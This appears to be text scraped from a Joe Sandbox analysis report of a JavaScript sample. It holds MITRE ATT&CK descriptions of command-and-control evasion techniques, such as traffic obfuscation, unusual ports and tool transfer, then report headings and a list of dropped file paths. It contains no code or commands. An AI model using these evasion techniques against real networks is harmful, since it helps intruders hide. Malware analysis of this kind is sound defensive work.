Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 497524953288097419.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\230231f2-bec4-49d3-92fc-a7589a05c26d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8064

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
497524953288097419.js